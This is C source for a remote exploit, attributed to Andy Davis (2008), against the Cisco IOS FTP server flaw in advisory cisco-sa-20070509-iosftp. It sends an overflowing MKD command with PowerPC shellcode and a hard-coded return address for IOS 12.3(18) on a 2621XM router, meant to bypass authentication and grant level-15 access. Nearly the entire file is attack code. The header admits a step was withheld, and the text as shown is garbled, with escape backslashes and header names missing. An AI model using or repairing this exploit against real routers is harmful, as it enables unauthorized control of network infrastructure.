/*Cisco IOS FTP server remote exploit by Andy Davis 2008
Cisco Advisory ID: cisco-sa-20070509-iosftp - May 2007
Specific hard-coded addresses for IOS 12.3(18) on a 2621XM router
Removes the requirement to authenticate and escalates to level 15
*********************************************************************
To protect the innocent a critical step has been omitted, which means
the shellcode will only execute when the router is attached to gdb.
I"m sure the PowerPC shellcoders out there will work it out...
*********************************************************************
Thanks to Gyan Chawdhary and Varun Uppal for all the hours they spent
on the original IOS security research
iosftpexploit googlemail "dot" com */#include
#include
#include
#include #define PORT 21int main(int argc, char **argv)
{
unsigned char sendbuf[] ="MKD "/* .equ vty_info, 0x8182da60 # pointer to VTY info */
/* .equ terminate, 0x80e4086c # kill a process */"x3cx80x81x83" /* lis 4,vty_info@ha */
"x38x84xdax60" /* la 4,vty_info@l(4) */
"x7dx08x42x78" /* xor 8,8,8 */
"x7cxe4x40x2e" /* lwzx 7,4,8 */
"x91x07x01x74" /* stw 8,372(7) */
"x39x08xffxff" /* subi 8,8,1 */
"x38xe7x09x1a" /* addi 7,7,233 */
"x91x07x04xca" /* stw 8,1226(7) */
"x7dx03x43x78" /* mr 3,8 */
"x3cx80x80xe4" /* lis 4,terminate@ha */
"x38x84x08x6c" /* la 4,terminate@l(4) */
"x7cx89x03xa6" /* mtctr 4 */
"x4ex80x04x20" /* bctr *//* exists cleanly without adversely affecting the FTP server */"x61x61x61x61" /* padding */
"x61x61x61x61" /* padding */
"x61x61x61x61" /* padding */
"x61x61x61x61" /* padding */
"x61x61x61x61" /* padding */
"x61x61x61x61" /* padding */"x80x06x23xB8" /* return address */
"x0dx0a";/* trampoline code */
/* when the overflow occurs r26 0x14 points to the shellcode */
/*
0x800623B8 lwz 26, 20(26)
0x800623BC mtctr 26
0x800623C0 mr 3, 27
0x800623C4 bctrl
*/unsigned char recvbuf[256];
struct sockaddr_in servaddr;
int s;if (argc != 2)
{
printf ("nCisco IOS FTP server remote exploit by Andy Davis 2008n"); printf ("nUsage: %s n",argv[0]);
exit(-1);
}servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(argv[1]);
servaddr.sin_port = htons(PORT);s = socket(AF_INET, SOCK_STREAM, 0);
connect (s, (struct sockaddr *) &servaddr, sizeof(servaddr));
printf ("nCisco IOS FTP server remote exploit by Andy Davis 2008n");
printf ("Specific offsets for IOS 12.3(18) on a 2621XM routernn");
printf ("Sending exploit...nn");if (send(s, sendbuf, sizeof(sendbuf)-1, 0) == 0)
{
printf("Error sending packet...quittingnn");
exit (1);
}
recv (s, recvbuf, sizeof(recvbuf)-1,0);
printf ("Now telnet to the router for a shell...nn");
}